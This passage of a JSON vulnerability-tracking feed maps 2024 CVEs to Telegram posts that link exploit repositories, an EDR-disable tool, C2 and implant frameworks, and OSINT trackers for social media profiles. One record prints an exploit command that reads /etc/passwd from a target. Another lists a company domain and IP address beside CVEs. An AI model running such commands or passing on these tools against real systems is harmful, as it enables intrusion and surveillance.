\"Ominis OSINT - Web Hunter.\" It performs online information gathering by querying Google for search results related to a user-inputted query. The tool extracts relevant information such as titles, URLs, and potential mentions of the query in the results.\n\nhttps://github.com/AnonCatalyst/Ominis-Osint\n\nExploit CVE-2024-40725 (Apache httpd) \n\nhttps://github.com/soltanali0/CVE-2024-40725\n\nHere is the full tool. This BOF can be used to identify processes that hold handles to a given file. This can be useful to identify which process is locking a file on disk.\n\nhttps://github.com/Octoberfest7/enumhandles_BOF\n\nProof-of-concept shellcode loaders that leverage AI/ML primitives in C/C++ and Rust to do some shenanigans prior to shellcode detonation.\n\nhttps://github.com/0xTriboulet/T-1\n\nPendingFileRenameOperations + Junctions EDR Disable\n\nhttps://github.com/rad9800/FileRenameJunctionsEDRDisable\n\n#HackersForum", "creation_timestamp": "2024-12-19T04:14:17.000000Z"}, {"uuid": "153c9ab6-16a6-45c8-8f4e-bde262426828", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8312", "content": "Tools - Hackers Factory \n\nAmoloHT/TTWAF: \u300c\ud83e\uddf1\u300dTest a list of payloads and see if you can bypass it.\n\nhttps://github.com/AmoloHT/TTWAF\n\nOWASP/www-project-netryx: Next level Java web security framework. \n\nhttps://github.com/OWASP/www-project-netryx\n\nPrivFu/TokenAssignor at main daem0nc0re/PrivFu.\n\nhttps://github.com/daem0nc0re/PrivFu/tree/main/TokenAssignor\n\nRPISEC/MBE: Course materials for Modern Binary Exploitation by RPISEC\n\nhttps://github.com/RPISEC/MBE\n\nBigb0x/CVE-2024-40348: POC for CVE-2024-40348. Will attempt to read /etc/passwd from target\n\nhttps://github.com/bigb0x/CVE-2024-40348\n\nPumpbin/pumpbin: \ud83c\udf83 PumpBin is an Implant Generation Platform.\n\nhttps://github.com/pumpbin/pumpbin\n\nBellingcat/name-variant-search: A tool for searching common variations of a human name\n\nhttps://github.com/bellingcat/name-variant-search\n\nMegadose/nqntnqnqmb: Allows you to retrieve information on linkedin profiles, companies on linkedin and search on linkedin companies/persons\n\nhttps://github.com/megadose/nqntnqnqmb\n\nThis cheat sheet contains common enumeration and attack methods for Windows Active Directory with the use of powershell.\n\nhttps://github.com/drak3hft7/Cheat-Sheet---Active-Directory\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-07-24T08:32:41.000000Z"}, {"uuid": "9adc5a5f-2019-47c8-a5cc-9477659c3a08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40431", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/9041", "content": "Tools - Hackers Factory \n\nDetect It Easy, or abbreviated \"DIE\" is a program for determining types of files.\n\nhttps://github.com/horsicq/Detect-It-Easy\n\n#Exploit\n\n1. CVE-2024-39205:\nPyload RCE with js2py sandbox escape\nhttps://github.com/Marven11/CVE-2024-39205-Pyload-RCE\n\n2. CVE-2024-40431,\nCVE-2022-25477 - 25480:\nVulnerabilities in RtsPer.sys (Realtek SD Card Reader Driver)\nhttps://github.com/zwclose/realteksd\n\n3. CVE-2024-1512:\nSQLI in MasterStudy LMS WP Plugin\nhttps://github.com/rat-c/CVE-2024-1512\n\nSemi-automatic OSINT framework and package manager\n\nhttps://github.com/kpcyrd/sn0int\n\nAn Instagram tracker that logs any changes to an Instagram account (followers, following, posts, and bio)\n\nhttps://github.com/ibnaleem/instatracker\n\n#HackersFactory", "creation_timestamp": "2024-11-21T07:58:58.000000Z"}, {"uuid": "27808b77-c7b1-47ac-880e-1203d3532c11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8755", "content": "Tools\u00a0 - Hackers Factory \n\nScrcpy 2.7, just released, supports game controllers \ud83c\udfae\n\nhttps://github.com/Genymobile/scrcpy/releases/tag/v2.7\n\nPre-Auth Exploit for CVE-2024-40711\n\nhttps://github.com/watchtowrlabs/CVE-2024-40711\n\nRemote Kerberos Relay made easy! Advanced Kerberos Relay Framework\n\nhttps://github.com/CICADA8-Research/RemoteKrbRelay\n\nScan for secrets, endpoints, and other sensitive data after decompiling and deobfuscating Android files.\u00a0 \n\nhttps://github.com/LucasFaudman/apkscan\n\nCLI tools for forensic investigation of artifacts \n\nhttps://github.com/dfir-dd/dfir-toolkit\n\nCobalt Strike - Malleable C2 Profiles. A collection of profiles used in different projects using Cobalt Strike\n\nhttps://github.com/xx0hcd/Malleable-C2-Profiles\n\nUnleashed ffuf\n\nhttps://github.com/sw33tLie/uff\n\nTools for searching emails for a specific domain\n\nhttp://github.com/Josue87/EmailFinder\n\nhttp://github.com/GiJ03/Infoga\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-09-17T09:02:44.000000Z"}, {"uuid": "f84d8607-54a7-4dfc-85a2-6db9748a9ead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/InfoSecInsider/23681", "content": "\u26a1\ufe0fVeeam Backup & Replication Faces RCE Flaw CVE-2024-40711  CVSS: 9.8 A series of critical vulnerabilities have been uncovered in Veeam Backup & Replication, potentially exposing organizations to unauthorized access, remote code execution, and data breaches.", "creation_timestamp": "2024-09-06T11:36:38.000000Z"}, {"uuid": "e0abc5e2-94fa-4729-b0de-5dfeea547de2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/InfoSecInsider/23674", "content": "\u26a1\ufe0fVeeam Backup & Replication Faces RCE Flaw\u2013 CVE-2024-40711 (CVSS 9.8) Allows Full System Takeover.\n\n#CyberBulletin", "creation_timestamp": "2024-09-06T11:36:33.000000Z"}, {"uuid": "2f59a8fc-732b-4702-83b9-a115599457d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40431", "type": "published-proof-of-concept", "source": "https://t.me/InfoSecInsider/24794", "content": "Tools - Hackers Factory \n\nDetect It Easy, or abbreviated \"DIE\" is a program for determining types of files.\n\nhttps://github.com/horsicq/Detect-It-Easy\n\n#Exploit\n\n1. CVE-2024-39205:\nPyload RCE with js2py sandbox escape\nhttps://github.com/Marven11/CVE-2024-39205-Pyload-RCE\n\n2. CVE-2024-40431,\nCVE-2022-25477 - 25480:\nVulnerabilities in RtsPer.sys (Realtek SD Card Reader Driver)\nhttps://github.com/zwclose/realteksd\n\n3. CVE-2024-1512:\nSQLI in MasterStudy LMS WP Plugin\nhttps://github.com/rat-c/CVE-2024-1512\n\nSemi-automatic OSINT framework and package manager\n\nhttps://github.com/kpcyrd/sn0int\n\nAn Instagram tracker that logs any changes to an Instagram account (followers, following, posts, and bio)\n\nhttps://github.com/ibnaleem/instatracker\n\n#HackersFactory", "creation_timestamp": "2024-11-21T07:59:09.000000Z"}, {"uuid": "25a1b41b-9dad-4515-bfbc-1ef5c9cf056c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/InfoSecInsider/26088", "content": "#GitHub #Tools\n\nThis Python application is an OSINT (Open Source Intelligence) tool called \"Ominis OSINT - Web Hunter.\" It performs online information gathering by querying Google for search results related to a user-inputted query. The tool extracts relevant information such as titles, URLs, and potential mentions of the query in the results.\n\nhttps://github.com/AnonCatalyst/Ominis-Osint\n\nExploit CVE-2024-40725 (Apache httpd) \n\nhttps://github.com/soltanali0/CVE-2024-40725\n\nHere is the full tool. This BOF can be used to identify processes that hold handles to a given file. This can be useful to identify which process is locking a file on disk.\n\nhttps://github.com/Octoberfest7/enumhandles_BOF\n\nProof-of-concept shellcode loaders that leverage AI/ML primitives in C/C++ and Rust to do some shenanigans prior to shellcode detonation.\n\nhttps://github.com/0xTriboulet/T-1\n\nPendingFileRenameOperations + Junctions EDR Disable\n\nhttps://github.com/rad9800/FileRenameJunctionsEDRDisable\n\n#HackersForum", "creation_timestamp": "2024-12-19T04:13:52.000000Z"}, {"uuid": "71afe0ea-1851-410a-bc64-6f9b7e9bc611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "Telegram/fmnrItX9ni0-os4NhDhn5S2FWV4dH62W8_H3cZbb_PP8-WM", "content": "", "creation_timestamp": "2024-11-11T16:17:23.000000Z"}, {"uuid": "c9f6ed17-06f6-4cff-b6df-4361c82cac57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "Telegram/fmnrItX9ni0-os4NhDhn5S2FWV4dH62W8_H3cZbb_PP8-WM", "content": "", "creation_timestamp": "2024-11-11T16:17:23.000000Z"}, {"uuid": "02fcc880-5a08-4dfa-9181-8cfcfbb6390b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/InfoSecInsider/23805", "content": "Tools  - Hackers Factory \n\nScrcpy 2.7, just released, supports game controllers \ud83c\udfae\n\nhttps://github.com/Genymobile/scrcpy/releases/tag/v2.7\n\nPre-Auth Exploit for CVE-2024-40711\n\nhttps://github.com/watchtowrlabs/CVE-2024-40711\n\nRemote Kerberos Relay made easy! Advanced Kerberos Relay Framework\n\nhttps://github.com/CICADA8-Research/RemoteKrbRelay\n\nScan for secrets, endpoints, and other sensitive data after decompiling and deobfuscating Android files.  \n\nhttps://github.com/LucasFaudman/apkscan\n\nCLI tools for forensic investigation of artifacts \n\nhttps://github.com/dfir-dd/dfir-toolkit\n\nCobalt Strike - Malleable C2 Profiles. A collection of profiles used in different projects using Cobalt Strike\n\nhttps://github.com/xx0hcd/Malleable-C2-Profiles\n\nUnleashed ffuf\n\nhttps://github.com/sw33tLie/uff\n\nTools for searching emails for a specific domain\n\nhttp://github.com/Josue87/EmailFinder\n\nhttp://github.com/GiJ03/Infoga\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-09-17T09:03:07.000000Z"}, {"uuid": "30fcd597-e31b-49bf-941c-c9ec37b56cae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/InfoSecInsider/24131", "content": "\u26a1\ufe0fAkira Ransomware Exploit CVE-2024-40766 in SonicWall SonicOS.\n\n#CyberBulletin", "creation_timestamp": "2024-10-22T15:06:23.000000Z"}, {"uuid": "016b99ac-c5e7-4d91-a195-0ccde8280d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "seen", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/5115", "content": "tatacommunications-ts.com\n\nhttps://115.110.196.19\n\nCVE-2022-23943\nCVE-2023-25690\nCVE-2024-40898", "creation_timestamp": "2024-12-15T07:36:23.000000Z"}, {"uuid": "5d655b0f-d6f6-41c3-8a8e-0e68601d6dee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3729", "content": "Tools\u00a0 - Hackers Factory \n\nScrcpy 2.7, just released, supports game controllers \ud83c\udfae\n\nhttps://github.com/Genymobile/scrcpy/releases/tag/v2.7\n\nPre-Auth Exploit for CVE-2024-40711\n\nhttps://github.com/watchtowrlabs/CVE-2024-40711\n\nRemote Kerberos Relay made easy! Advanced Kerberos Relay Framework\n\nhttps://github.com/CICADA8-Research/RemoteKrbRelay\n\nScan for secrets, endpoints, and other sensitive data after decompiling and deobfuscating Android files.\u00a0 \n\nhttps://github.com/LucasFaudman/apkscan\n\nCLI tools for forensic investigation of artifacts \n\nhttps://github.com/dfir-dd/dfir-toolkit\n\nCobalt Strike - Malleable C2 Profiles. A collection of profiles used in different projects using Cobalt Strike\n\nhttps://github.com/xx0hcd/Malleable-C2-Profiles\n\nUnleashed ffuf\n\nhttps://github.com/sw33tLie/uff\n\nTools for searching emails for a specific domain\n\nhttp://github.com/Josue87/EmailFinder\n\nhttp://github.com/GiJ03/Infoga\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-09-17T09:02:38.000000Z"}, {"uuid": "1435ab25-6782-4295-a4dc-20d96f458333", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3669", "content": "Tools - Hackers Factory \n\nApepe - Mobile application\u00a0 pentesting\n\nApepe is a Python tool developed to help pentesters and red teamers to easily get information from the target app. This tool will extract basic informations as the package name, if the app is signed and the development language...\n\ngithub.com/oppsec/Apepe\n\nBest App For Sql Injection\n\nhttps://github.com/darknethaxor/DH-HackBar\n\nBBRF-Client: The Bug Bounty Reconnaissance Framework (BBRF) can help you coordinate your reconnaissance workflows across multiple devices.\n\nhttps://github.com/honoki/bbrf-client/\n\nCVE-2024-40348 \n\nThis is a bulk scanning and exploitation tool for CVE-2024-40348: Bazaar v1.4.3 allows unauthenticated attackers to execute a directory traversal. This vulnerability was discovered by 4rdr.\n\nhttps://github.com/bigb0x/CVE-2024-40348\n\nIt is a free and open-source tool used for image steganography, specifically for extracting hidden data from images. \n\nhttps://github.com/spipm/Depix \n\nDiscover more subdomains during your recon by extracting subdomains from TLS certificates. Integrate Cero into your recon automation for better results.\n\nhttps://github.com/glebarez/cero\n\nCRLFsuite - CRLF injection scanner \n\nThe most powerful CRLF injection (HTTP Response Splitting) scanner.\u00a0 \nhttps://github.com/Raghavd3v/CRLFsuite\n\nFound a subdomain running on Symfony debug mode. \n\nhttps://github.com/synacktiv/eos to get PHP variables and a lot more. \n\nTrying to find Origin IP check out this tool created to find IP behind WAF\n\nhttps://github.com/mmarting/unwaf \n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-13T01:51:47.000000Z"}, {"uuid": "a6b0c642-48b7-4792-bbfb-296df8051c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3480", "content": "Tools - Hackers Factory \n\nAmoloHT/TTWAF: \u300c\ud83e\uddf1\u300dTest a list of payloads and see if you can bypass it.\n\nhttps://github.com/AmoloHT/TTWAF\n\nOWASP/www-project-netryx: Next level Java web security framework. \n\nhttps://github.com/OWASP/www-project-netryx\n\nPrivFu/TokenAssignor at main daem0nc0re/PrivFu.\n\nhttps://github.com/daem0nc0re/PrivFu/tree/main/TokenAssignor\n\nRPISEC/MBE: Course materials for Modern Binary Exploitation by RPISEC\n\nhttps://github.com/RPISEC/MBE\n\nBigb0x/CVE-2024-40348: POC for CVE-2024-40348. Will attempt to read /etc/passwd from target\n\nhttps://github.com/bigb0x/CVE-2024-40348\n\nPumpbin/pumpbin: \ud83c\udf83 PumpBin is an Implant Generation Platform.\n\nhttps://github.com/pumpbin/pumpbin\n\nBellingcat/name-variant-search: A tool for searching common variations of a human name\n\nhttps://github.com/bellingcat/name-variant-search\n\nMegadose/nqntnqnqmb: Allows you to retrieve information on linkedin profiles, companies on linkedin and search on linkedin companies/persons\n\nhttps://github.com/megadose/nqntnqnqmb\n\nThis cheat sheet contains common enumeration and attack methods for Windows Active Directory with the use of powershell.\n\nhttps://github.com/drak3hft7/Cheat-Sheet---Active-Directory\n\n#CyberDilara\nhttps://t.me/CyberDilara", "creation_timestamp": "2024-07-24T06:19:22.000000Z"}, {"uuid": "7398ba7f-b3bd-46bf-9908-9d422dda462d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40898", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3474", "content": "Tools - Hackers Factory \n\nSimple tool for searching and collect information written in Python 3\n\nhttps://github.com/YouVBeenHacked/gideon/tree/09c3e17864a5d6ceead8558f119560c4861d7a6f\n\nlawndoc/Respotter: Respotter is a Responder honeypot! Catch attackers and red teams as soon as they spin up Responder in your environment.\n\nhttps://github.com/lawndoc/Respotter\n\na13xp0p0v/kernel-hardening-checker: A tool for checking the security hardening options of the Linux kernel\n\nhttps://github.com/a13xp0p0v/kernel-hardening-checker\n\nELMERIKH/TelecordC2: Advanced Telegram x Discord C2, great for data Exfitration and Network evasion\n\nhttps://github.com/ELMERIKH/TelecordC2\n\nA chrome/Firefox extension to retrieve and load react javascript chunks all at once for a wide range of javascript techs\n\nhttps://github.com/ElSicarius/chunkloader\n\nToutatis\n\nhttps://github.com/megadose/toutatis - a tool for collecting info about an Instagram user (that include part of phone number and email).\n\nCVE-2024-40725 and CVE-2024-40898\n\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\nMass Exploit - CVE-2024-29824 - Ivanti EPM - Remote Code Execution (RCE)\n\nhttps://github.com/codeb0ss/CVE-2024-29824-PoC\n\nFile-Tunnel : Tunnel TCP connections through a file.\n\nhttps://github.com/fiddyschmitt/File-Tunnel\n\nhttps://t.me/CyberDilara\n#CyberDilara", "creation_timestamp": "2024-07-23T04:43:56.000000Z"}, {"uuid": "779f0102-e096-4476-99b7-77db7d16b3f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3474", "content": "Tools - Hackers Factory \n\nSimple tool for searching and collect information written in Python 3\n\nhttps://github.com/YouVBeenHacked/gideon/tree/09c3e17864a5d6ceead8558f119560c4861d7a6f\n\nlawndoc/Respotter: Respotter is a Responder honeypot! Catch attackers and red teams as soon as they spin up Responder in your environment.\n\nhttps://github.com/lawndoc/Respotter\n\na13xp0p0v/kernel-hardening-checker: A tool for checking the security hardening options of the Linux kernel\n\nhttps://github.com/a13xp0p0v/kernel-hardening-checker\n\nELMERIKH/TelecordC2: Advanced Telegram x Discord C2, great for data Exfitration and Network evasion\n\nhttps://github.com/ELMERIKH/TelecordC2\n\nA chrome/Firefox extension to retrieve and load react javascript chunks all at once for a wide range of javascript techs\n\nhttps://github.com/ElSicarius/chunkloader\n\nToutatis\n\nhttps://github.com/megadose/toutatis - a tool for collecting info about an Instagram user (that include part of phone number and email).\n\nCVE-2024-40725 and CVE-2024-40898\n\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898\n\nMass Exploit - CVE-2024-29824 - Ivanti EPM - Remote Code Execution (RCE)\n\nhttps://github.com/codeb0ss/CVE-2024-29824-PoC\n\nFile-Tunnel : Tunnel TCP connections through a file.\n\nhttps://github.com/fiddyschmitt/File-Tunnel\n\nhttps://t.me/CyberDilara\n#CyberDilara", "creation_timestamp": "2024-07-23T04:43:56.000000Z"}, {"uuid": "5285c7ee-c526-48d9-a60d-92a495201f00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3472", "content": "This is a bulk scanning and exploitation tool for CVE-2024-40348, Bazaar v1.4.3 and prior. Will attempt to read /etc/passwd from target.\n\nhttps://github.com/bigb0x/CVE-2024-40348", "creation_timestamp": "2024-07-22T18:18:21.000000Z"}, {"uuid": "27967953-f2d9-4e1d-a4c4-a0b623fa3c33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40725", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/4004", "content": "#GitHub #Tools\n\nThis Python application is an OSINT (Open Source Intelligence) tool called \"Ominis OSINT - Web Hunter.\" It performs online information gathering by querying Google for search results related to a user-inputted query. The tool extracts relevant information such as titles, URLs, and potential mentions of the query in the results.\n\nhttps://github.com/AnonCatalyst/Ominis-Osint\n\nExploit CVE-2024-40725 (Apache httpd) \n\nhttps://github.com/soltanali0/CVE-2024-40725\n\nHere is the full tool. This BOF can be used to identify processes that hold handles to a given file. This can be useful to identify which process is locking a file on disk.\n\nhttps://github.com/Octoberfest7/enumhandles_BOF\n\nProof-of-concept shellcode loaders that leverage AI/ML primitives in C/C++ and Rust to do some shenanigans prior to shellcode detonation.\n\nhttps://github.com/0xTriboulet/T-1\n\nPendingFileRenameOperations + Junctions EDR Disable\n\nhttps://github.com/rad9800/FileRenameJunctionsEDRDisable\n\n#HackersForum", "creation_timestamp": "2024-12-19T04:13:13.000000Z"}, {"uuid": "cc6b2330-5b16-4006-bb2a-70759eb755c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40431", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3909", "content": "Tools - Hackers Factory \n\nDetect It Easy, or abbreviated \"DIE\" is a program for determining types of files.\n\nhttps://github.com/horsicq/Detect-It-Easy\n\n#Exploit\n\n1. CVE-2024-39205:\nPyload RCE with js2py sandbox escape\nhttps://github.com/Marven11/CVE-2024-39205-Pyload-RCE\n\n2. CVE-2024-40431,\nCVE-2022-25477 - 25480:\nVulnerabilities in RtsPer.sys (Realtek SD Card Reader Driver)\nhttps://github.com/zwclose/realteksd\n\n3. CVE-2024-1512:\nSQLI in MasterStudy LMS WP Plugin\nhttps://github.com/rat-c/CVE-2024-1512\n\nSemi-automatic OSINT framework and package manager\n\nhttps://github.com/kpcyrd/sn0int\n\nAn Instagram tracker that logs any changes to an Instagram account (followers, following, posts, and bio)\n\nhttps://github.com/ibnaleem/instatracker\n\n#HackersFactory", "creation_timestamp": "2024-11-21T04:19:04.000000Z"}, {"uuid": "6fd00aa8-9bcf-485f-8da9-c4d04106161b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "Telegram/3v_L1Km8kHglM99z9Gx-p2lsvnYIaRU3JVXDXxZhsRyM6xs7", "content": "", "creation_timestamp": "2024-08-31T12:42:28.000000Z"}, {"uuid": "d7874e42-0453-4cc3-9e11-3de08a42f070", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "Telegram/74IzvRfHv6As3hyVMCWy5rx44qm1MKm9hZLdVsqv0WV9bgP1", "content": "", "creation_timestamp": "2024-10-18T12:26:48.000000Z"}, {"uuid": "947f69b4-0c34-461a-98c4-17dcc6164c55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/softrinx/300", "content": "https://github.com/Stuub/CVE-2024-4040-SSTI-LFI-PoC", "creation_timestamp": "2024-04-26T22:10:56.000000Z"}, {"uuid": "f690e85b-e465-467f-a992-bc7cd8084dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40711", "type": "seen", "source": "https://t.me/proxy_bar/2265", "content": "CVE-2024-40711  Exploit Veeam backup and Replication\n*\nWriteUp\n*\nPre-Auth exploit\n\n#veeam #rce", "creation_timestamp": "2024-09-16T15:14:42.000000Z"}, {"uuid": "dbad19dc-5920-45e4-a81e-e8f1b40b2f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2173", "content": "CVE-2024-40348\n*\nBazaar < v1.4.3 \u043e\u0431\u0445\u043e\u0434 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\n*\nPOC+scanner\n*", "creation_timestamp": "2024-07-22T05:34:08.000000Z"}, {"uuid": "eed165dd-38b8-4f88-8dfd-57e4d431ee3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-4040", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2019", "content": "CVE-2024-4040 CrushFTP  RCE\n*\nCrushFTP \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0434\u043e 10.7.1 \u0438 11.1.0 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b VFS, \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430\n*\nUsage:\npython exploit.py -u https://example.com -p /etc/passwd\n*\nExploit\n\n#rce #ftp", "creation_timestamp": "2024-04-25T07:06:33.000000Z"}, {"uuid": "db894124-966d-4e00-8948-1b01daceae5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40891", "type": "exploited", "source": "Telegram/xlDRfjzJLOTAukT6-_25nKAEiX60faAgGw3e698OSKdSSQk", "content": "", "creation_timestamp": "2025-02-01T14:24:42.000000Z"}, {"uuid": "1dddbba5-35ed-443e-9aaa-099cee6c4c33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40348", "type": "published-proof-of-concept", "source": "Telegram/yBNsKU3RCbm2WqWC9KEBGcgWBhZoMtEaF28swx96QApDBZY", "content": "", "creation_timestamp": "2024-07-23T06:55:58.000000Z"}, {"uuid": "07683387-bc2c-444a-948b-d7e823773764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40431", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7649", "content": "Tools - Hackers Factory \n\nDetect It Easy, or abbreviated \"DIE\" is a program for determining types of files.\n\nhttps://github.com/horsicq/Detect-It-Easy\n\n#Exploit\n\n1. CVE-2024-39205:\nPyload RCE with js2py sandbox escape\nhttps://github.com/Marven11/CVE-2024-39205-Pyload-RCE\n\n2. CVE-2024-40431,\nCVE-2022-25477 - 25480:\nVulnerabilities in RtsPer.sys (Realtek SD Card Reader Driver)\nhttps://github.com/zwclose/realteksd\n\n3. CVE-2024-1512:\nSQLI in MasterStudy LMS WP Plugin\nhttps://github.com/rat-c/CVE-2024-1512\n\nSemi-automatic OSINT framework and package manager\n\nhttps://github.com/kpcyrd/sn0int\n\nAn Instagram tracker 